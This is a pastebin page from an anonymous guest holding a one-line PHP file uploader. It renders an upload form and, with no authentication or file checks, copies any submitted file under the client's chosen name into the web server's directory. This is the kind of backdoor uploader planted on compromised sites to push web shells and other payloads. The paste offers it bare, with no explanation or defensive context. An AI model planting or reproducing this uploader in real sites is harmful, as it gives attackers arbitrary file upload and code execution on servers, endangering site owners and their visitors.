PHP 28
Text File.txt Guest on 7th July 2020 10:21:06 AM
  1. <?php echo '<form action="/" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>OK !!!<b><br><br>'; } else { echo '<b>FAILED !</b><br><br>'; } } echo '<br>'; ?>

Paste is for source code and general debugging text.

Login or Register to edit, delete and keep track of your pastes and more.

Raw Paste

Login or Register to edit or fork this paste. It's free.